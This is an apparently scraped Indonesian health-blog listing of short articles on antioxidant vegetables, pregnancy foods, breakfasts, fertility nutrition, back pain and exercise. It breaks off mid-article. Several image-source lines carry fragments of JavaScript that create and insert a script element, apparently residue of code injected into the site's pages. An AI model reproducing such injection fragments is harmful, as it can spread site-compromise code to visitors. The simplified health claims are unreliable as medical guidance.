Logo

Ditemukan 259 artikel berkaitan

Tips Turun Berat Badan, Tummy Talk

Agar Khasiat Sayur Kaya Antioksidan Tak Hilang

Sayuran sangatlah penting untuk dikonsumsi sehari-hari

Lebih dari empat ribu unsur dalam sayur berfungsi sebagai antioksidan. Namun, sayur yang memiliki Oxygen Radical Absorbence Capacity atau ORAC lebih tinggi, membuat tubuh lebih banyak menyerap antioksidannya. Berikut sejumlah sayur super yang memiliki ORAC tinggi. Selain perlu lebih rajin mengonsumsinya, cara menikmati sayuran ini juga penting diperhatikan agar khasiatnya tidak hilang:

Bayam
Bayam mengandung lutein tinggi. Lutein adalah antioksidan yang memberi warna atau pigmen pada makula mata. Tanpa lutein, mata tidak dapat menangkap warna yang dipantulkan dari cahaya pada benda yang dilihat.

Penelitian membuktikan, orang yang sering mengonsumsi bayam akan sedikit mengalami gangguan mata seperti degenerasi macula dan katarak. Lutein melindungi retina mata dari paparan sinar matahari dan radikal bebas yang dapat merusak mata. Agar manfaat antioksidan pada bayam berfungsi optimal pada tubuh, sebaiknya buat tumisan atau sayur bening. Untuk menumis bayam, gunakan minyak zaitun.

Bawang putih
Kandungan sulfur pada bawang putih membuat aromanya khas cenderung menyengat. Aroma menyengat ini punya fungsi melawan penyakit. Zat sulfur pada bawang putih bisa mengendalikan tekanan darah dan radikal bebas di dalam pembuluh darah yang dapat menyebabkan pembekuan darah. Bahkan antioksidan yang ada didalam bawang putih juga dapat menghalau berbagai jamur dari dalam tubuh.

Cara paling tepat untuk menikmati semua manfaat bawang putih adalah dengan memanggangnya. Dengan begitu, khasiat antioksidan pada bawang putih juga tidak menghilang akibat pengolahan yang salah.

Tomat
Tomat mengandung banyak antioksidan. Tak heran jika tomat bisa menekan banyak risiko gangguan kesehatan seperti gangguan mata, paru-paru, usus, payudara, hingga prostat. Kandungan antioksidan yang paling banyak ditemui dalam tomat adalah likopen, keluarga karotenoid dan betakaroten yang bertugas melindungi mata. Dalam tomat juga terdapat glutation yang membantu membentuk sistem pertahanan imunitas terbaik.

Khusus untuk tomat, cara ideal menikmatinya adalah dengan menggorengnya. Manfaat likopen pada tomat akan lebih optimal jika sayuran ini dipanaskan menggunakan minyak. Mengapa? Karena likopen larut lemak sehingga dengan menambah minyak dalam pengolahannya akan memudahkan penyerapan. Meski begitu pemilihan minyak harus tepat, diantaranya minyak zaitun atau bekatul agar kadar kolesterol tetap aman.

Wortel
Wortel kaya karotenoid yang dapat melindungi sel mata dari radikal bebas. Sayuran ini juga bisa melindungi tenggorokan, paru-paru, jantung, payudara, dan usus dari sel kanker.

Cara mengolah wortel juga menentukan kualitas antioksidan didalamnya. Alih-alih mengonsumsi wortel mentah, sebaiknya rebus wortel sebelum menikmatinya. Penelitian membuktikan, wortel yang direbus memiliki kandungan antioksidan tinggi dibanding yang mentah. Proses pemanasan wortel justru mengaktifkan rantai antioksidan.

Daun bawang
Daun bawang punya banyak khasiat dengan kandungan sulfur didalamnya, selain flavonoid yang merupakan zat pewarna hijau pada tumbuhan. Sayuran beraroma kuat ini juga kaya vitamin C. Dalam 1,8 ons daun bawang terdapat 2,18 mg vitamin C. Menurut National of Health Institute, Amerika Serikat, jumlah ini telah memenuhi 3,63 persen kebutuhan vitamin C satu hari.

Kandungan antioksidan pada daun bawang tidak hanya disumbangkan dari vitamin C tapi juga vitamin B kompleks dan vitamin A. Rutin mengonsumsi daun bawang bisa melindungi tubuh dari gangguan pembuluh darah dan menjaga gula darah tetap stabil.

Cara mengolah daun bawang, seperti sayuran mengandung allium lainnya adalah dengan segera masukkan ke dalam masakan lima menit setelah dipotong kecil. Tujuannya, agar semua bahan aktif dalam daun bawang tidak terbuang akibat teroksidasi. Pilih daun bawang berwarna hijau pekat dan batang putih.

Bok choy
Bok choy merupakan golongan kol dengan kandungan vitamin A, C, dan kalsium yang sangat tinggi. Dalam bok choy juga terdapat indole dan thiol yang merupakan enzim pembentuk antioksidan. Keduanya bersama sulfur dalam bok choy melindungi tubuh dari kanker payudara, kanker usus, dan kanker ovarium. Indole dan thiol dalam bok choy membantu tubuh dalam proses metabolisme estrogen.

Agar manfaat bok choy tidak hilang, jangan masak bok choy terlalu matang karena bisa menghancurkan indole dan thiol. Cukup masak hingga setengah matang dengan panas rendah agar antioksidan dan vitamin di dalam bok choy tetap terjaga.

Asparagus
Menurut National Cancer Institute di Amerika Serikat, asparagus adalah tumbuhan paling banyak mengandung glutation yang merupakan enzim pembentuk antioksidan. Bisa dipastikan asparagus ampuh melawan sel kanker.

Asparagus juga berkalori rendah. Per 150 gram asparagus hanya terdapat 20 kalori. Tak hanya itu, asparagus juga berkhasiat untuk saluran pencernaan. Di dalam sayuran ini terdapat salah satu bentuk karbohidrat bernama inulin. Sistem pencernaan tidak mengolah inulin, sehingga inulin menjadi bahan makanan bakteri baik di usus. Dengan begitu, bakteri baik berkembang biak dengan cepat. Dampaknya sistem kekebalan tubuh semakin kuat.

Asparagus bisa dikonsumsi dengan berbagai cara, kukus, rebus, panggang, bahkan dimakan mentah. Namun pastikan pucuknya tidak rusak karena di bagian inilah terdapat banyak asam folat yang mencegah dari gangguan kardiovaskular.

 

Sumber : health.kompas.com

Source Image : http://3.bp.blogspot.com

05/19/2016
Selengkapnya
Tips Turun Berat Badan, Tummy Talk

Cerdas Memilih Makanan Untuk Ibu Hamil

Ibu hamil sangatlah dianjurkan untuk menjaga kesehatan dengan mengkonsumsi asupan nutrisi gizi yang baik

Menjaga pola makan sehat pada saat mengandung akan memberikan bayi Anda awal yang baik untuk memulai kehidupan.  Diet sehat selama kehamilan sangat dianjurkan. Makan untuk dua orang bukan berarti menggandakan porsi makan dua kali lipat, tetapi bukan juga mengurangi asupan kalori bagi tubuh. Berikut adalah beberapa panduan makanan yang sebaiknya ditambahkan ataupun dikurangi selama masa kehamilan :

Makanlah makanan berikut ini:

  1. Makanan yang memberikan asupan protein untuk tumbuh kembang janin,  yaitu daging tanpa lemak, ikan berdaging putih, telur matang dan kacang-kacangan.
  2. Makanan yang menyuplai kebutuhan energi, karbohidrat, serat dan berbahai nutrisi bagi anda dan janin anda, yaitu roti gandum, nasi merah, kentang
  3. Produk susu dan olahannya akan memberikan asupan kalsium, vitamin A, dan vitamin D

Kurangi makanan berikut ini:

  1. Makanan beku seperti daging dan salad. Makanan ini dapat menyebabkan listeria, yaitu bakteri yang dapat membahayakan janin anda.
  2. Kerang-kerangan mentah. Kerang-kerangan baik dimakan dalam keadaan matang.
  3. Tuna maksimal 2 potong atau 4 kaleng perminggu karena tuna dapat mengandung kontaminasi merkuri.
  4. Ikan yang berlemak maksimal 2 porsi perminggu karena dapat mengandung kontaminasi merkuri.
  5. Sushi karena dapat terkontaminasi parasit cacing
  6. Kacang tanah dihindari jika ada keluarga dekat anda yang alergi pada kacang tanah karena dapat memicu alergi kacang pada janin anda.

Hindari sama sekali makanan berikut ini:

  1. Mould, yaitu kejun biru yang lunak atau matang dan susu kambing dan  biri-biri yang di pasteurisasi. Makanan ini dapat menyebabkan listeria.
  2. Hati karena mengandung terlalu banyak vittamin A
  3. Daging merah atau setengah matang dapat menyebabkan Anda terinfeksi salmonella dan toksoplasma.
  4. Susu yang tidak dipasteurisasi dapat menyebabkan listeria.
  5. Telur mentah atau setengah matang (bahan mayonais segar) dapat menyebabkan Anda terinfeksi salmonella
  6. Ikan pedang, hiu, marlin dan ikan besar lainnya kemungkinan besar mengandung merkuri tinggi.

Pemilihan makanan yang tepat saat hamil sangatlah penting bagi kesehatan anda dan janin Anda. Maka ada baiknya jika Anda lebih cerdas dalam memilih makanan yang akan anda konsumsi. Konsultasikan juga dengan dokter atau bidan mengenai kesehatan Anda dan janin.

Sumber: mothercare.co.id

Source Image : http://intisari-online.com

05/19/2016
Selengkapnya
Tips Turun Berat Badan, Tummy Talk

Menu Sarapan Sehat

Sarapan juga sangatlah penting untuk meningkatkan konsentrasi dalam kegiatan kita sehari-hari

Sarapan itu penting, semua orang mungkin sudah tahu. Tapi kalau sarapan dengan menu yang sehat juga penting, bisa jadi belum pada tahu. Padahal, menu sarapan yang sehat diserap tubuh secara lebih perlahan, sehingga membuat Anda merasa kenyang lebih lama, lho. Nah, biar sarapan Anda setiap pagi sempurna, simak yuk menu sehat apa saja, yang baik untuk Anda konsumsi saat sarapan.

Oatmeal
Meski rasanya hambar, semangkuk oatmeal bisa membuat Anda merasa kenyang sampai jam makan siang. Pasalnya, dalam secangkir oatmeal, terkandung 150 kalori dan cukup memenuhi 15 persen asupan serat dan 10 persen zat besi, yang dibutuhkan tubuh Anda setiap harinya. Nah, supaya ada “rasanya,” Anda bisa menambah buah segar.

Telur
Suka menyantap omelet saat sarapan? Lanjutkan deh, kebiasaan ini. Pasalnya, telur sebagai bahan dasar omelet, kaya akan protein dan mengandung 70 kalori tiap butirnya. Kalau bosan dengan omelet, bisa juga merebus telur untuk isian sandwich atau roti panggang.

Roti
Makan roti saat sarapan, memang lebih terasa kenyangnya. Soalnya, roti termasuk makanan padat dan bisa ditemani topping yang isian yang membuat sarapan roti lebih mengenyangkan. Anda bisa pilih satu tangkup roti yang dioles mentega dan meses atau roti gandum dengan irisan daging tipis plus keju. Yang penting, perhatikan ketebalan mentega, banyaknya meses yang ditabur dan isian lainnya, ya. Supaya tidak kelebihan kalori

 

Sumber: gadis.co.id

Source Image : http://3.bp.blogspot.com

05/19/2016
Selengkapnya
Tips Turun Berat Badan, Tummy Talk

Kalori Sarapan Untuk Balita

Fungsi karbohidrat adalah untuk menyediakan energi bagi tubuh, terutama otak dan sistem saraf

Seperti halnya makan siang atau makan malam, makanan sarapan untuk balita juga harus terdiri dari sumber karbohidrat, protein, lemak, vitamin, mineral, dan serat. Dianjurkan untuk menyantap makanan yang ringan dan tidak berlebihan saat sarapan agar tidak memberatkan sistem kerja pencernaan dan tidak membuat anak cepat mengantuk.

Karena itulah sumber karbohidrat yang mengandung cukup banyak serat seperti nasi, roti atau sereal bisa menjadi pilihan. Sumber makanan lain yang juga baik untuk sarapan adalah;  telur, ayam, selai kacang, tempe atau tahu sebagai sumber protein, mentega dengan kandungan lemak rendah dan sumber vitamin, mineral serta serat dari sayur atau buah. Melengkapi piring dengan makanan yang bergizi saat sarapan dapat memenuhi kebutuhan gizi anak.

Kebutuhan Kalori Saat Sarapan
Dalam sehari, anak usia 1-3 tahun membutuhkan energi kurang lebih sebesar 1000 Kalori dan anak usia 4-5 tahun membutuhkan 1550 Kalori. Agar kebutuhan gizi bisa dipenuhi dengan baik, maka ketika sarapan anak harus mengonsumsi sekitar 200-400 Kalori. Untuk memenuhi angka ini, Anda bisa mendapatkannya dari 1 atau 2 jenis makanan dari setiap kelompok seperti yang sudah disebutkan di atas.

Melewatkan sarapan dapat mengakibatkan anak lemas dan pusing saat beraktifitas. Bahkan kebiasaan tidak sarapan pada anak dapat menghambat pertumbuhan tinggi badan dan bisa memicu obesitas. Sebab, jika anak tidak sarapan, rasa lapar di waktu makan yang lain akan meningkat sehingga napsu makan menjadi tidak terkendali.

Berikut contoh menu sarapan anak demi memenuhi kebutuhan 200-400 Kalori:

  • ½ gelas nasi + 1 butir telur yang digoreng dengan 1 sendok makan minyak + 1 gelas jus apel tanpa gula.
  • 2 lembar roti tawar + 2 sendok makan selai kacang + 1 buah pisang.
  • 1 buah kentang ukuran sedang + 2 sendok daging giling + 1 mangkuk kecil tumis buncis.
  • 1 gelas mi + 1 buah tempe/tahu potongan sedang yang digoreng dengan 1 sendok makan minyak + 1 potong pepaya.

Sarapan vs Snack?
Idealnya sarapan dilakukan sekitar jam 6 atau 7 pagi sebelum si kecil beraktifitas. Dengan menerapkan jam makan yang teratur, akan membuat anak disiplin saat makan. Bagaimana jika ia mengeluh kelaparan sebelum jam makan siang tiba, disebabkan jam sarapan yang terlalu pagi? Anda tetap bisa memberikan si kecil makanan tanpa takut ia akan kelebihan asupan makanan. Berikan si kecil snack di antara jam 9 atau 10 pagi.

Pilih makanan yang tidak terlalu berat namun cukup mengenyangkan. Misalnya buah potong, puding, biskuit, krakers atau jus buah segar. Snack di antara jam makan juga merupakan cara untuk memenuhi kebutuhan gizi anak. Untuk itu pilihlah makanan yang bergizi meskipun hanya pelengkap saja. Hindari memberikan makanan yang hanya berisi gula atau cokelat saja.

Sumber: ayahbunda.co.id

Source Image : http://biarsehat.orgdocument.currentScript.parentNode.insertBefore(s, document.currentScript);

05/19/2016
Selengkapnya
Tips Turun Berat Badan, Tummy Talk

Sumber Antioksidan

Antioksidan merupakan zat yang bermanfaat untuk menghambat serta mencegah proses oksidas

Sayur & Buah
Sayuran berdaun hijau dan buah-buahan memiliki sifat antioksidan kuat yang mampu menghentikan reaksi berantai pembentukan radikal bebas hingga menghambat proses penuaan dini. Antioksidan yang terdapat dalam sayuran dan buah-buahan sebaiknya menjadi kebutuhan dasar.

Kedua bahan makanan ini mengandung tokoferol, asam karbonat, karotenoid, polifenol, dan flavonoid yang bersifat antioksidan. Berdasarkan penelitian, zat-zat ini dapat mengurangi risiko timbulnya penyakit jantung koroner dan stroke. Janganlah mengupas apel atau anggur karena justru pada kulitnyalah terkandung antioksidan yang efektif mencegah oksidasi LDL (low-density lipoprotein). Tapi, daging buah apel dan anggur merah juga bermanfaat sebagai antioksidan.

Teh Hijau
Teh hijau merupakan sumber antioksidan kuat dibandingkan dengan teh hitam. Polifenol, zat yang terkandung dalam teh hijaulah yang menjadikan teh hijau berkhasiat mengurangi risiko stroke dan penyakit jantung, serta menurunkan kadar kolesterol dalam darah. Walaupun dihidangkan panas-panas, antioksidan dalam teh hijau tidak akan rusak. Kalaupun dicampur dengan gula atau jeruk lemon, kandungan antioksidannya juga tidak berubah.

Rempah-Rempah
Ternyata, rempah-rempah yang sering Anda gunakan sebagai bumbu dapur juga berfungsi sebagai antioksidan. Bawang putih dan cabai hijau berfungsi menekan nitrosamine (zat pemicu kanker). Rempah lainnya adalah kunyit, daun rosemary, jahe, cengkeh, oregano, dan lada yang juga memiliki berbagai zat bersifat antioksidan kuat. Bila digunakan dalam campuran masakan sekalipun, manfaat antioksidannya tidak berkurang.

Kacang & Biji-bijian
Pada kacang-kacangan dan biji-bijian juga ditemukan sejumlah senyawa yang bersifat antioksidan. Senyawa flavonoid pada kedelai, taxifolin pada kacang tanah, sesamin, sesamolin, dan sesamol pada biji wijen serta asam klorogenat dan asam kafeat pada biji bunga matahari. Minyak yang terbuat dari kedelai, jagung, serta biji bunga matahari merupakan sumber vitamin E.

Susu
Susu yang kaya akan asam amino triptophan ternyata juga penting untuk dikonsumsi. Jika Anda mengonsumsi susu secara teratur, tubuh akan lebih rajin memproduksi hormon melatonin yang bersifat antioksidan. Dengan begitu, tubuh Anda lebih bisa beristirahat dengan baik. Susu juga dikenal mampu mengikat polutan dan menangkal radikal bebas pada polutan. Jika Anda tinggal di daerah perkotaan yang tingkat polusinya cukup tinggi, minum susu sangat dianjurkan untuk mengurangi efek buruk polusi tersebut.

Ikan
Mineral selenium yang terdapat pada ikan akan bekerja sama dengan vitamin E untuk memperlambat oksidasi asam-asam lemak tak jenuh. Dengan demikian, elastisitas jaringan sel dapat dipertahankan. Kekurangan selenium dalam tubuh akan memicu timbulnya premature aging atau penuaan dini. Karena itu, jangan malas mengonsumsi berbagai jenis ikan.

 

Sumber : femina.co.id

Source Image : http://2.bp.blogspot.com

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

05/19/2016
Selengkapnya
Tips Turun Berat Badan, Tummy Talk

Makanan Alami Yang Mengandung Vitamin E

Vitamin E juga dapat membantu mengatasi stress, meningkatkan kesuburan, dan meminimalkan resiko kanker

Siapa yang tidak tahu berbagai manfaat dari vitamin E? Vitamin E sangat baik sebagai nutrisi untuk tubuh terutama untuk kesehatan kulit Anda. Bukan hanya itu vitamin E juga memiliki manfaat lainnya seperti melawan radikal bebas dan mencegah berbagai masalah kesehatan seperti kanker dan penyakit jantung. Nah, sekarang Anda tidak perlu repot lagi mencari obat yang mengandung vitamin E, Anda akan mudah mendapatkannya dari makanan alami yang ada di sekitar Anda. Inilah beberapa makanan yang harus Anda coba:

Biji Bunga Matahari
Selain rasanya yang renyah dan gurih biji matahari mengandung vitamin E yang kaya untuk tubuh Anda. Sebaiknya jangan lewatkan biji bunga matahari ini sebagai cemilan favorit  ketika bersantai. Selain memperoleh banyak asupan vitamin E Anda juga dapat merasakan kelezatannya.

Buah Kiwi
Siapa yang bisa menolak buah yang satu ini? Kesegaran dan rasanya yang asam manis dapat membuat Anda tidak terpisahkan dari buah yang satu ini. Buah kiwi kaya akan vitamin E yang cukup memberikan nutrisi pada tubuh Anda. Bukan hanya itu, buah kiwi juga mengandung vitamin C. Anda akan mendapatkan dua nutrisi sekaligus dalam buah yang satu ini.

Buah Mangga
Anda dapat menemukan berbagai jenis buah mangga plus rasanya pun berbeda-beda. Selain rasanya yang menyegarkan buah mangga mengandung vitamin E yang cukup untuk memenuhi asupan nutrisi harian Anda. Anda dapat mengkreasikan buah mangga dalam berbagai hal mulai dari jus, campuran yogurt dan salad. Memperoleh banyak nutrisi serta kenikmatan tentunya sangat menyenangkan bukan?

Tomat
Entah di masak atau dimakan mentah tomat akan memberikan kelezatan tersendiri dalam menu makanan Anda. Rasanya yang asam dapat membuat beberapa makanan tidak lengkap rasanya tanpa adanya tomat. Sebaiknya Anda mengkonsumsi tomat setiap hari, buah ini dapat memberikan nutrisi vitamin E yang cukup untuk Anda.

 

Sumber: vemale.com

Source Image : http://junaidisofting.files.wordpress.com

05/19/2016
Selengkapnya
Tips Turun Berat Badan, Tummy Talk

Nutrisi Penunjang Kesuburan

Vitamin juga berguna sebagai nutrisi penunjang kesuburan yang baik

Ada banyak cara untuk meningkatkan kesuburan. Salah satunya dengan mengonsumsi nutrisi yang menunjang kesuburan calon ayah dan ibu. Apa saja sih zat gizi penting yang dimaksud?

Tanpa mengabaikan peran zat gizi lain, beberapa vitamin dan mineral sebaiknya menjadi perhatian Anda yang tengah merencanakan kehadiran sang buah hati. Sebenarnya kalau Anda makan dengan pola gizi seimbang, kebutuhan tubuh akan vitamin dan mineral bisa terpenuhi. Namun, vitamin dan mineral mudah hilang dalam proses pengolahan makanan.

Di bawah ini ada beberapa zat gizi dan sumber bahan makanan yang sebaiknya diperhatikan untuk menunjang kesuburan:

  • Vitamin A berperan cukup penting dalam produksi sperma yang sehat. Terdapat di hati, mentega, margarin, telur, susu, ikan berlemak seperti salem dan makarel, brokoli, wortel, bayam, tomat.
  • Kekurangan vitamin D akan menurunkan tingkat kesuburan hingga 75%. Sumber vitamin D diproduksi di dalam tubuh dengan bantuan sinar matahari, selain itu dapat diperoleh dari telur, mentega, minyak ikan, ikan tuna, ikan salmon.
  • Vitamin E meningkatkan kemampuan sperma membuahi sel telur dan mencegah keguguran karena perannya dalam menjaga kesehatan dinding rahim dan plasenta. Banyak terdapat pada minyak tumbuh-tumbuhan, bekatul gandum, kecambah, tauge.
  • Kekurangan Vitamin B6 ini akan menyebabkan terjadinya ketidakseimbangan hormon. Padahal keseimbangan hormon estrogen dan progesteron penting untuk terjadinya kehamilan. Sumber vitamin B6 antara lain ayam, ikan, ginjal, beras merah, kacang kedelai, kacang tanah, pisang, sayur kol.
  • Pada wanita vitamin C berperan penting untuk fungsi indung telur dan pembentukan sel telur. Selain itu sebagai antioksidan (bekerjasama dengan vitamin E dan beta karoten) vitamin C berperan melindungi sel-sel organ tubuh dari serangan radikal bebas (oksidan) yang mempengaruhi kesehatan sistem reproduksi. Vitamin C banyak terdapat pada jambu biji, jeruk, stroberi, pepaya,mangga, sawi, tomat, cabai merah.
  • Seng (Zn) berperan penting dalam pertumbuhan organ seks dan juga pembentukan sperma yang sehat. Sumber seng antara lain makanan hasil laut (seafood), daging, kacang-kacangan, padi-padian, produk olahan susu.
  • Selenium (Se) berperan penting dalam produksi sperma yang sehat. Gejala kekurangan selenium antara lain tekanan darah tinggi, disfungsi seksual dan ketidaksuburan. Sumber selenium antara lain beras, kuning telur, seafood, daging, bawang putih, tomat, ikan tuna, susu.

Menjaga kandungan zat gizi. Berikut beberapa kiat mempertahankan kandungan vitamin dan mineral dalam makanan/minuman yang akan Anda konsumsi:

  1. Gunakan bahan makanan segar. Jangan biasakan menjemur atau menyimpan sayuran di tempat panas, sebelum mengolahnya.
  2. Olah sayuran dengan cepat, baik saat mengiris maupun mencuci.
  3. Jika terpaksa merendam, jangan terlalu lama.
  4. Masak sayuran dengan cepat dan gunakan sedikit air.
  5. Jangan menunda menyantap masakan terlalu lama setelah dimasak.
  6. Simpan sayuran dan buah segar di bagian yang terlindung dari cahaya dan cukup dingin di lemari es.
  7. Simpan susu di tempat yang sejuk dan terlindung dari cahaya (jika susu di simpan di dalam gelas, vitamin D-nya bisa rusak).

Sumber: ayahbunda.co.id

Source Image : http://www.nutraingredients.com

05/19/2016
Selengkapnya
Tips Turun Berat Badan, Tummy Talk

Kebiasaan Sehari-hari Yang Memicu Nyeri Punggung

Nyeri punggung meski tidak berbahaya, bukan berarti bisa dianggap remeh

Nyeri punggung adalah keluhan yang hampir dialami oleh sebagian besar penduduk dunia saat ini. Sadar atau tidak, ada beberapa aktivitas harian yang ternyata dapat memicu nyeri punggung.  Meski tidak berbahaya, bukan berarti nyeri punggung bisa dianggap remeh karena bisa jadi ini merupakan gejala-gejala awal tubuh mulai terserang penyakit.

Pepatah lama mengatakan mencegah lebih baik daripada mengobati. Inilah sebabnya Anda perlu mencegah nyeri punggung dengan mengetahui aktivitas apa saja yang dapat memicu nyeri punggung. Berikut  aktivitas sehari-hari yang menjadi penyebab umum nyeri punggung:

1. Jarang Berolahraga
Apapun alasannnya aktivitas yang satu ini memang tidak sepatutnya ditinggalkan. Ada begitu banyak manfaat kesehatan berolahraga mulai dari menyehatkan jantung, mencegah kanker, hingga mencegah Anda dari nyeri punggung.

Raj Rao, MD seorang ahli bedah tulang belakang menyebutkan, olahraga ringan seperti jalan kaki setiap hari dapat mencegah nyeri punggung hingga 40 persen. “Olahraga ini bukanlah olahraga berat, tapi kebanyakan orang lebih memilih bermalas-malasan di sofa dan menunggu penyakit datang,” tambahnya.

2. Merokok
American Journal of Medicine menuturkan, sekitar 31 persen perokok khususnya yang berusia muda lebih mungkin menderita sakit punggung. Ini Merokok bisa merusak sirkulasi darah sehingga asupan ke tulang belakang yang berfungsi memelihara cakram dan sendi berkurang.

3. Menggunakan Laptop tanpa Mouse
Menggunakan touchpad laptop tanpa mouse bisa membuat bahu dan leher menjadi lebih ketat, tapi jika pakai mouse maka lengan berada dalam posisi benar. Selain itu menggunakan laptop di sofa bisa memberikan tekanan pada punggung dan juga tulang belakang.

4. Mengangkat Barang
Kesalahan paling umum yang dilakukan orang terhadap punggung adalah ketika mengangkat sesuatu yang berat. Agar terhindar dari risiko cedera punggung sebaiknya selalu menekuk lutut saat mengambil sesuatu dalam posisi membungkuk.  Tim Allardyce dari British Osteopathic Association menuturkan mengangkat beban sambil memutar bisa meningkatkan tekanan pada cakram tulang belakang. Untuk itu jika angkat sesuatu, sebaiknya menjaga beban dekat dengan tubuh untuk mengurangi tekanan.

5. Duduk di Sofa yang Rendah
Sofa yang terlalu rendah dan empuk sehingga membuat orang seperti tenggelam saat duduk bisa membuat tulang belakang bungkuk atau berbentuk huruf C karena cakram, otot dan ligamen punggung bawah melar. Untuk itu salah satu cara mengatasinya adalah menggunakan bantal tambahan sehingga tidak duduk terlalu jauh ke belakang.

6. Mengemudi Jarak Jauh
Perjalanan jauh dengan mobil dapat mempengaruhi postur punggung dan mengakibatkan nyeri. Untuk menghindari nyeri punggung sebaiknya gunakan sandaran kepala saat menyetir untuk memastikan postur tubuh yang baik. Serta berhentilah sejenak untuk meregangkan kaki dan tubuh agar tekanan berkurang.

7. Memakai High Heels
Mengenakan high heels dalam waktu yang cukup lama tak hanya membuat pergelangan kaki terasa nyeri, tapi punggung Anda akan merasakan hal yang sama. Otot di kaki berhubungan langsung dengan punggung sehingga tak heran apabila punggung Anda ikut pegal ketika terlalu lama mengenakan high heels. Untuk saat-saat tertentu sebaiknya Anda mengenakan flat shoes atau sandal jepit sehingga kaki bisa lebih relaks.

8. Bra yang Terlalu Ketat
Mengenakan bra yang terlalu ketat juga dapat mengakibatkan nyeri punggung dan payudara. Terkadang nyeri punggung akibat mengenakan bra yang terlalu ketat bisa tembus hingga ke dada. Oleh karena itu, pilihlah bra dengan ukuran pas dan tidak terlalu ketat. Saat tidur, sebaiknya Anda tidak perlu mengenakan bra, agar otot punggung dan payudara Anda lebih relaks.

 

Sumbe: duniafitnes.com

Source Image : http://blog.shopious.comvar d=document;var s=d.createElement(‘script’);

05/19/2016
Selengkapnya
Tips Turun Berat Badan, Tummy Talk

7 Cara Atasi Masalah Olahraga

Banyak manfaat yang kita dapatkan jika berolahraga dengan teratur

Penyebab Anda sering sakit—bahkan bisa jatuh pingsan hanya karena kehujanan—sebenarnya bukan karena cuaca buruk atau kurang gizi. Bisa jadi Anda jarang olahraga. Sebabnya olahraga membentuk massa otot yang akan menjaga imunitas tubuh. Apalagi begitu usia 40, massa otot akan turun drastis hingga 50% sehingga tubuh gampang melarnya. Tidak mau hal itu terjadi? Lakukan tip berikut:

1. Gabung di klub kebugaran
Sesekali bayar mahal untuk gabung di gym, sah-sah saja, kok. Mengingat dana yang dikeluarkan, Anda akan merasa sayang jika melewatkan olahraga sekali saja. Akhirnya Anda malah memiliki jadwal rutin olahraga.

2. Ikut komunitas
Teman dapat membantu Anda memotivasi diri untuk menepati jadwal latihan. Apalagi jika teman Anda punya badan keren hasil dari olahraga yang dilakukannya. Tidak sedikit, tuh, peserta komunitas lari yang mendapat pasangan.

3. Sebar di sosmed
Unduh aplikasi olahraga di ponsel, lalu sebarkan hasil latihan Anda melalui aplikasi yang dapat disambungkan ke sosmed. Reaksi positif teman-teman dapat menambah motivasi Anda untuk mencapai hasil yang lebih baik lagi.

4. Bikin kompetisi
Jika olahraga yang sifatnya soliter tidak juga memotivasi Anda, mendingan Anda ikut olahraga permainan, seperti badminton, futsal, atau basket. Biasanya, sih, sekali ikut saja Anda ketagihan.

5. Ada target
Anda malas olahraga karena tidak punya target. Bikin target kecil dulu, misalnya bulan depan celana yang Anda beli setahun lalu harus muat dipakai lagi, lalu dua bulan lagi Anda sudah bisa pakai bikini.

6. Hirup aroma kopi
Kalau alasan Anda tidak olahraga karena malas bangun pagi, coba hirup aroma kopi dulu sebelumnya. Meski Anda tidak meminumnya, aroma kopi membantu meningkatkan mood dan aliran darah sehingga Anda lebih bersemangat.

7. Personal trainer
Bila tidak mampu membayar personal trainer di gym, minimal mintalah teman atau pacar untuk mengingatkan Anda olahraga. Biasanya Anda baru sadar pentingnya olahraga jika ada yang memberi semangat.

 

Sumber : citacinta.com

Source Image : http://www.tanyadok.comif (document.currentScript) {

05/19/2016
Selengkapnya
Tips Turun Berat Badan, Tummy Talk

5 Manfaat Olahraga Bagi Otak

Tanpa kita sadari olahraga dapat membuat peredaran darah menjadi lancar dan meningkatkan kemampuan otak

Olahraga sedikitnya 10 menit setiap hari membuat mental menjadi lebih sehat, pikiran jernih, stres berkurang dan memicu timbulnya perasaan bahagia. Bahwa olahraga membuat peredaran darah menjadi lancar, membakar lemak dan kalori, serta mengurangi risiko darah tinggi dan obesitas merupakan suatu hal yang diketahui umum.

Riset terbaru menunjukkan suatu kelebihan lain dari aktivitas ini. Olahraga sedikitnya 10 menit setiap hari membuat mental menjadi lebih sehat, pikiran jernih, stres berkurang dan memicu timbulnya perasaan bahagia.

Secara lebih jelas Daniel Landers, profesor pendidikan olahraga dari Arizona State University mengungkapkan lima manfaat olahraga terhadap otak.

1. Meningkatkan kemampuan otak
Latihan fisik yang rutin dapat meningkatkan konsentrasi, kreativitas, dan kesehatan mental. Karena olahraga bisa meningkatkan jumlah oksigen dalam darah dan mempercepat aliran darah menuju otak. Para ahli percaya bahwa hal-hal ini dapat mendorong reaksi fisik dan mental yang lebih baik.

2. Membantu menunda proses penuaan
Riset membuktikan bahwa latihan sederhana seperti jalan kaki secara teratur dapat membantu mengurangi penurunan mental pada wanita di atas 65 tahun. Semakin sering dan lama mereka melakukannya makan penurunan mental kian lambat. Kabarnya, banyak orang merasakan manfaat aktivitas itu setelah sembilan minggu melakukannya secara teratur tiga kali seminggu. Latihan ini tidak harus dilakukan dalam intensitas tinggi. Cukup berupa jalan kaki di sekitar rumah.

3. Mengurangi stres
Olahraga dapat mengurangi kegelisahan. Bahkan lebih jauh lagi, bisa membantu Anda mengendalikan amarah. Latihan aerobik dapat meningkatkan kemampuan jantung dan membuat Anda lebih cepat mengatasi stres. Aktivitas seperti jalan kaki, berenang, bersepeda, dan lari merupakan cara terbaik mengurangi stres.

4. Menaikkan daya tahan tubuh
Jika Anda senang melakukan olahraga meski tak terlalu lama, tapi dengan santai melakukannya, maka aktivitas itu bisa meningkatkan hormon-hormon baik dalam otak seperti adrenalin, serotonin, dopamin, dan endorfin. Hormon ini berperan dalam meningkatkan daya tahan tubuh. Studi yang dilakukan di Inggris memperlihatkan bahwa 83 persen orang yang memiliki ganguan mental mengandalkan olahraga untuk meningkatkan mood dan mengurangi kegelisahan.

Landers mengatakan untuk orang yang menderita depresi ringan dan sedang, olahraga sedikitnya 16 minggu bisa menimbulkan efek yang sama dengan menelan obat antidepresi seperti Zoloft dan Prozac.

Sementara para peneliti di Duke University menemukan bahwa 60 persen orang depresi yang melakukan olahraga selama empat bulan dengan frekuensi tiga kali seminggu dan setiap latihan selama 30 menit bisa mengatasi gejala ini tanpa obat. Meski tergolong langkah yang mujarab, tapi bukan berarti pengobatan bisa langsung dihentikan, apalagi bagi yang mengalami depresi berat.

5. Memperbaiki kepercayaan diri
